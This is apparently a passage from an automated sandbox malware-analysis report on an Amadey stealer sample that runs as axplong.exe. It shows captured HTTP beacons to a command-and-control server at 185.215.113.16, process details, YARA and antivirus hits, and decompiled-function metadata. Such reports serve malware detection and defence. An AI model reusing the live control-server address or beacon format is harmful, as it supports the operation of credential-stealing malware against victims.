Sep 27, 2024 01:30:05.133985996 CEST	316	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 162 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 41 46 41 41 30 34 31 43 38 46 42 46 44 33 33 43 32 30 41 41 31 42 39 30 37 30 43 34 43 37 31 32 46 44 41 42 39 31 42 36 35 39 30 39 30 46 46 31 45 36 45 38 33 35 33 35 42 30 39 36 44 36 38 46 41 30 35 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CAFAA041C8FBFD33C20AA1B9070C4C712FDAB91B659090FF1E6E83535B096D68FA05
Sep 27, 2024 01:30:05.786137104 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 26 Sep 2024 23:30:05 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
58	192.168.2.7	49765	185.215.113.16	80	3312	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Sep 27, 2024 01:30:05.902647972 CEST	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Sep 27, 2024 01:30:06.623245001 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 26 Sep 2024 23:30:06 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
59	192.168.2.7	49766	185.215.113.16	80	3312	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Sep 27, 2024 01:30:06.631886005 CEST	316	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 162 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 41 46 41 41 30 34 31 43 38 46 42 46 44 33 33 43 32 30 41 41 31 42 39 30 37 30 43 34 43 37 31 32 46 44 41 42 39 31 42 36 35 39 30 39 30 46 46 31 45 36 45 38 33 35 33 35 42 30 39 36 44 36 38 46 41 30 35 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CAFAA041C8FBFD33C20AA1B9070C4C712FDAB91B659090FF1E6E83535B096D68FA05
Sep 27, 2024 01:30:07.335659027 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 26 Sep 2024 23:30:07 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
60	192.168.2.7	49767	185.215.113.16	80	3312	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Sep 27, 2024 01:30:07.594947100 CEST	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Sep 27, 2024 01:30:08.331073046 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 26 Sep 2024 23:30:08 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
61	192.168.2.7	49768	185.215.113.16	80	3312	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Sep 27, 2024 01:30:08.339634895 CEST	316	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 162 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 41 46 41 41 30 34 31 43 38 46 42 46 44 33 33 43 32 30 41 41 31 42 39 30 37 30 43 34 43 37 31 32 46 44 41 42 39 31 42 36 35 39 30 39 30 46 46 31 45 36 45 38 33 35 33 35 42 30 39 36 44 36 38 46 41 30 35 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CAFAA041C8FBFD33C20AA1B9070C4C712FDAB91B659090FF1E6E83535B096D68FA05
Sep 27, 2024 01:30:09.146142006 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 26 Sep 2024 23:30:08 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
62	192.168.2.7	49769	185.215.113.16	80	3312	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Sep 27, 2024 01:30:09.261218071 CEST	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Sep 27, 2024 01:30:10.735990047 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 26 Sep 2024 23:30:09 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Sep 27, 2024 01:30:10.736929893 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 26 Sep 2024 23:30:09 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Sep 27, 2024 01:30:10.738190889 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 26 Sep 2024 23:30:09 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
63	192.168.2.7	49770	185.215.113.16	80	3312	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Sep 27, 2024 01:30:10.746455908 CEST	316	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 162 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 41 46 41 41 30 34 31 43 38 46 42 46 44 33 33 43 32 30 41 41 31 42 39 30 37 30 43 34 43 37 31 32 46 44 41 42 39 31 42 36 35 39 30 39 30 46 46 31 45 36 45 38 33 35 33 35 42 30 39 36 44 36 38 46 41 30 35 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CAFAA041C8FBFD33C20AA1B9070C4C712FDAB91B659090FF1E6E83535B096D68FA05
Sep 27, 2024 01:30:11.497175932 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 26 Sep 2024 23:30:11 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
64	192.168.2.7	49771	185.215.113.16	80	3312	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Sep 27, 2024 01:30:11.622029066 CEST	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Sep 27, 2024 01:30:12.326397896 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 26 Sep 2024 23:30:12 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
65	192.168.2.7	49772	185.215.113.16	80	3312	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Sep 27, 2024 01:30:12.335261106 CEST	316	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 162 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 41 46 41 41 30 34 31 43 38 46 42 46 44 33 33 43 32 30 41 41 31 42 39 30 37 30 43 34 43 37 31 32 46 44 41 42 39 31 42 36 35 39 30 39 30 46 46 31 45 36 45 38 33 35 33 35 42 30 39 36 44 36 38 46 41 30 35 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CAFAA041C8FBFD33C20AA1B9070C4C712FDAB91B659090FF1E6E83535B096D68FA05
Sep 27, 2024 01:30:13.056163073 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 26 Sep 2024 23:30:12 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
66	192.168.2.7	49773	185.215.113.16	80	3312	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Sep 27, 2024 01:30:13.173177004 CEST	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Sep 27, 2024 01:30:13.871176004 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 26 Sep 2024 23:30:13 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
67	192.168.2.7	49774	185.215.113.16	80	3312	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Sep 27, 2024 01:30:13.880822897 CEST	316	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 162 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 41 46 41 41 30 34 31 43 38 46 42 46 44 33 33 43 32 30 41 41 31 42 39 30 37 30 43 34 43 37 31 32 46 44 41 42 39 31 42 36 35 39 30 39 30 46 46 31 45 36 45 38 33 35 33 35 42 30 39 36 44 36 38 46 41 30 35 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CAFAA041C8FBFD33C20AA1B9070C4C712FDAB91B659090FF1E6E83535B096D68FA05
Sep 27, 2024 01:30:14.618988037 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 26 Sep 2024 23:30:14 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Target ID:	0
Start time:	19:28:09
Start date:	26/09/2024
Path:	C:\Users\user\Desktop\file.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\file.exe"
Imagebase:	0x3c0000
File size:	1'942'016 bytes
MD5 hash:	544CA28AA15B5ED1C6EE914B09E6F3C2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000000.00000003.1358005555.0000000004C40000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000000.00000002.1398782734.00000000003C1000.00000040.00000001.01000000.00000003.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	19:28:11
Start date:	26/09/2024
Path:	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user~1\AppData\Local\Temp\44111dbc49\axplong.exe"
Imagebase:	0x790000
File size:	1'942'016 bytes
MD5 hash:	544CA28AA15B5ED1C6EE914B09E6F3C2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000002.00000002.1424184795.0000000000791000.00000040.00000001.01000000.00000008.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000002.00000003.1383917764.00000000052D0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML Detection: 58%, ReversingLabs
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	19:29:00
Start date:	26/09/2024
Path:	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user~1\AppData\Local\Temp\44111dbc49\axplong.exe
Imagebase:	0x790000
File size:	1'942'016 bytes
MD5 hash:	544CA28AA15B5ED1C6EE914B09E6F3C2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000004.00000003.1862874279.00000000049A0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000004.00000002.2603420342.0000000000791000.00000040.00000001.01000000.00000008.sdmp, Author: Joe Security
Reputation:	low
Has exited:	false

Show Windows behavior

Function 04E50E64 Relevance: .0, Instructions: 31COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1402883782.0000000004E50000.00000040.00001000.00020000.00000000.sdmp, Offset: 04E50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4e50000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9d20ff0e2f6ba6465c7c3b2c9ec37d73a0b58c59593ddb232a0529abc127e6e2
Instruction ID: b4859ce937f6b1b701a2df3407c70ffa4fdbbd2462289e6482d9ee47fb189453
Opcode Fuzzy Hash: 9d20ff0e2f6ba6465c7c3b2c9ec37d73a0b58c59593ddb232a0529abc127e6e2
Instruction Fuzzy Hash: 07E0C26B38C3049E9882A0C563512F13B1AEB6B3313306963F903CBF22B9DA25857526

Function 04E50E66 Relevance: .0, Instructions: 30COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1402883782.0000000004E50000.00000040.00001000.00020000.00000000.sdmp, Offset: 04E50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4e50000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 14a2c46a740a90cc81197f8742b1d184bc40355cf20dce107a19aafca5e3675e
Instruction ID: 4688c1cf63a4c9afa935cd64b6c8ec43a0f5c43b98e74d2aee57b542774cef40
Opcode Fuzzy Hash: 14a2c46a740a90cc81197f8742b1d184bc40355cf20dce107a19aafca5e3675e
Instruction Fuzzy Hash: 22D0C26B28C3049E9882A0C553512F12B1AAB6B3303306963F903CBB22B9D925857525

Non-executed Functions

Function 04E502E5 Relevance: .1, Instructions: 139COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1402883782.0000000004E50000.00000040.00001000.00020000.00000000.sdmp, Offset: 04E50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4e50000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a6d6e8629dcd0cf99f0a8372dc5fd0741f7076da5748587a3b77c6906bd9e711
Instruction ID: 133613d883dd6c83f41c605ffbfc1e9ab9fbf6425895a2919a7e6c643bd4c56f
Opcode Fuzzy Hash: a6d6e8629dcd0cf99f0a8372dc5fd0741f7076da5748587a3b77c6906bd9e711
Instruction Fuzzy Hash: B421D5EB38C111AEE10395996B14AF66B6EE7C33703306472F803DB563F2C16A496171

Analysis Process: axplong.exePID: 3312, Parent PID: 932COMMON

Execution Graph

Execution Coverage:	6.1%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	7.3%
Total number of Nodes:	599
Total number of Limit Nodes:	41

Executed Functions

Function 0079BD60 Relevance: 19.6, APIs: 5, Strings: 6, Instructions: 310
networkfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

InternetOpenW.WININET(007E8D70,00000000,00000000,00000000,00000000), ref: 0079BDED
InternetConnectA.WININET(00000000,?,00000050,00000000,00000000,00000003,00000000,00000001), ref: 0079BE11
HttpOpenRequestA.WININET(?,00000000), ref: 0079BE5B
HttpSendRequestA.WININET(?,00000000), ref: 0079BF1A
InternetReadFile.WININET(?,?,000003FF,?), ref: 0079BFCD
InternetCloseHandle.WININET(?), ref: 0079C0A7
InternetCloseHandle.WININET(?), ref: 0079C0AF
InternetCloseHandle.WININET(?), ref: 0079C0B7

Strings

8KG0fCKZFzY=, xrefs: 0079C385
invalid stoi argument, xrefs: 0079E404
RHYTYv==, xrefs: 0079BE33
8KG0fymoFx==, xrefs: 0079C2EB, 0079C543
RpKt, xrefs: 0079D516
stoi argument out of range, xrefs: 0079E3FA

Memory Dump Source

Source File: 00000004.00000002.2603420342.0000000000791000.00000040.00000001.01000000.00000008.sdmp, Offset: 00790000, based on PE: true

Associated: 00000004.00000002.2603398565.0000000000790000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2603420342.00000000007F2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2603504694.00000000007F9000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2603524043.00000000007FB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2603524043.000000000098C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2603524043.0000000000A6D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2603524043.0000000000A9F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2603524043.0000000000AA6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2603524043.0000000000AB6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2605045981.0000000000AB7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2605192224.0000000000C5E000.00000040.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_790000_axplong.jbxd

Yara matches

Similarity

API ID: Internet$CloseHandle$HttpOpenRequest$ConnectFileReadSend
String ID: 8KG0fCKZFzY=$8KG0fymoFx==$RHYTYv==$RpKt$invalid stoi argument$stoi argument out of range
API String ID: 688256393-332458646
Opcode ID: 9cd8e159eeea685a06b09451b5348b43557c8af31fa5309c92e0fcb1a135221a
Instruction ID: bc22c7012a281da3efbd14a4762f44aa87ec3320013abf533d8b872719742cdc
Opcode Fuzzy Hash: 9cd8e159eeea685a06b09451b5348b43557c8af31fa5309c92e0fcb1a135221a
Instruction Fuzzy Hash: 83B1E6B1A00118DBDF25CF28DC88BADBB75EF45304F504199F50997282E7789AC0CF95

Function 007965B0 Relevance: 7.3, APIs: 1, Strings: 3, Instructions: 257
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LookupAccountNameA.ADVAPI32(00000000,?,?,?,?,?,?), ref: 00796650

Strings

GVQsgL==, xrefs: 007966F8
RBPleCSm, xrefs: 0079666C
IVKsgL==, xrefs: 007967A1

Memory Dump Source

Source File: 00000004.00000002.2603420342.0000000000791000.00000040.00000001.01000000.00000008.sdmp, Offset: 00790000, based on PE: true

Associated: 00000004.00000002.2603398565.0000000000790000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2603420342.00000000007F2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2603504694.00000000007F9000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2603524043.00000000007FB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2603524043.000000000098C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2603524043.0000000000A6D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2603524043.0000000000A9F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2603524043.0000000000AA6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2603524043.0000000000AB6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2605045981.0000000000AB7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2605192224.0000000000C5E000.00000040.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_790000_axplong.jbxd

Yara matches

Similarity

API ID: AccountLookupName
String ID: GVQsgL==$IVKsgL==$RBPleCSm
API String ID: 1484870144-3856690409
Opcode ID: 52b6dc3889e5cfbdd32bc4c8029dc9cbe87a5ea4a9ce38dbfca98333e2a29e71
Instruction ID: 9e4f9847170ddf7d312be42a7c56d3467d37685868fc75545aeda9e15683a00d
Opcode Fuzzy Hash: 52b6dc3889e5cfbdd32bc4c8029dc9cbe87a5ea4a9ce38dbfca98333e2a29e71
Instruction Fuzzy Hash: BC91A3B19001189BDF28EB64DC85BEDB779EB45304F4046EDE50997282EA789FC4CFA4

Function 007A46C0 Relevance: 35.5, APIs: 1, Strings: 21, Instructions: 2484COMMON

Download Yara Rule

APIs

Part of subcall function 007A7870: __Cnd_unregister_at_thread_exit.LIBCPMT ref: 007A795C
Part of subcall function 007A7870: __Cnd_destroy_in_situ.LIBCPMT ref: 007A7968
Part of subcall function 007A7870: __Mtx_destroy_in_situ.LIBCPMT ref: 007A7971

Part of subcall function 0079BD60: InternetOpenW.WININET(007E8D70,00000000,00000000,00000000,00000000), ref: 0079BDED
Part of subcall function 0079BD60: InternetConnectA.WININET(00000000,?,00000050,00000000,00000000,00000003,00000000,00000001), ref: 0079BE11
Part of subcall function 0079BD60: HttpOpenRequestA.WININET(?,00000000), ref: 0079BE5B

std::_Xinvalid_argument.LIBCPMT ref: 007A4EA2

Strings

V0x6, xrefs: 007A541E
5F6, xrefs: 007A5497
246122658369, xrefs: 007A4F3A, 007A4F4D, 007A4F8F, 007A4F99, 007A54F4
Vp 6, xrefs: 007A5447
mP=, xrefs: 007A6383, 007A6652
stoi argument out of range, xrefs: 007A4269, 007A4EAC
9526, xrefs: 007A531D
V0N6, xrefs: 007A537A
96B6, xrefs: 007A5470
8ZF6, xrefs: 007A5502
WJP6, xrefs: 007A53A3
6F9fr==, xrefs: 007A4712
MJB+, xrefs: 007A4776, 007A47ED, 007A4A95, 007A4B0C
fed3aa, xrefs: 007A5489
9KN6, xrefs: 007A5351
aZT6, xrefs: 007A53CC
JB6, xrefs: 007A53F5
Fz==, xrefs: 007A369E, 007A4D2D
aqB6, xrefs: 007A54DB
KFT0PL==, xrefs: 007A54B9
MJF+, xrefs: 007A47BD, 007A48EC, 007A4ADC, 007A4C0B

Memory Dump Source

Source File: 00000004.00000002.2603420342.0000000000791000.00000040.00000001.01000000.00000008.sdmp, Offset: 00790000, based on PE: true

Associated: 00000004.00000002.2603398565.0000000000790000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2603420342.00000000007F2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2603504694.00000000007F9000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2603524043.00000000007FB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2603524043.000000000098C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2603524043.0000000000A6D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2603524043.0000000000A9F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2603524043.0000000000AA6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2603524043.0000000000AB6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2605045981.0000000000AB7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2605192224.0000000000C5E000.00000040.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_790000_axplong.jbxd

Yara matches

Similarity

API ID: InternetOpen$Cnd_destroy_in_situCnd_unregister_at_thread_exitConnectHttpMtx_destroy_in_situRequestXinvalid_argumentstd::_
String ID: 5F6$ 6F9fr==$ JB6$ mP=$246122658369$8ZF6$9526$96B6$9KN6$Fz==$KFT0PL==$MJB+$MJF+$V0N6$V0x6$Vp 6$WJP6$aZT6$aqB6$fed3aa$stoi argument out of range
API String ID: 2414744145-1662704651
Opcode ID: 2f144420214d22028567090664c9a10cfbe1f0696dc088af709ac0281a006ed5
Instruction ID: 6958c519fe89293dffe3ced0fd77af8735ae057de33add5b9ea291249a95cb73
Opcode Fuzzy Hash: 2f144420214d22028567090664c9a10cfbe1f0696dc088af709ac0281a006ed5
